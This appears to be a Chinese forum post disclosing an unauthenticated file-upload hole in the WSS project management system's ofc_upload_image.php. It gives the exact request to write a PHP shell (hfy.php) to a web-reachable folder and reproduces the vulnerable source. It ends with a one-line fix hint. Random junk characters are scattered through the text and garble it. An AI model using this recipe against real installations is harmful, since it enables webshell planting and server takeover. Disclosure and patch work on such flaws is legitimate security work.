WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

4 g. A' K" y' C利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

2 E( F' c$ [% IPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
, @) F+ Z5 M6 H
0 _4 n* a, \0 h! p& X$ X
2 h+ K. Y& X. K: M) v, o最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
0 |5 r) Q6 P. }5 f, j
<?php
' p. B& E, Q& I: u
+ I$ S6 }/ q( D. t* P. W//
// In Open Flash Chart -> save_image debug mode, you
8 v3 V" y: u9 n* ^# O. ?// will see the 'echo' text in a new window.
//
2 Y, @" U0 J! l
" Q! ~1 Q3 |7 w! o& D0 F' Y* C/*
  N+ h' z" C+ N9 J; n! \
/ D5 z, j, {* U3 Gprint_r( $_GET );
print_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
4 B# w& ~8 l+ u) c
*/
/ H8 j0 [& S% u// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
+ Y, c' x1 o$ G( W
echo 'Saving your image to: '. $destination;
* ]/ c1 b6 K8 W' t6 U; u// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
( E  d; C4 X# S! I/ z
//
- G/ ~$ E0 M0 v# Y/ j* w3 _// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
( q" n4 L% _% A5 d& S//
4 g0 J. @0 W3 s( m/ Q6 H
$jfh = fopen($destination, 'w') or die("can't open file");
; y1 c+ H9 x) [% Wfwrite($jfh, $HTTP_RAW_POST_DATA);
4 k" l0 Y0 |  d4 ?0 yfclose($jfh);
9 A) W) \/ l. F& i
//
5 K- T% D% B4 I8 I! j8 j// LOOK:
//
9 O+ e# Q# R1 Qexit();
" \9 Z' Q9 g/ J8 V# c) G- _//
// PHP5:
//


// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
% F& o& l- Z: y" ~
% Z  E" p6 ^' K* {( f# iif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
, }; w& O* X0 K/ K2 H$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
/ {8 a. j" t6 j( W# }( G    echo "FILE UPLOAD FAILED";
}

3 j0 @9 z0 Z4 Z! k8 a4 t& I& X
?>



: @# z- L# {) \9 q& @


修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
! V* S. x% j9 e5 _



2 |$ Z( P# l( U, J/ z8 O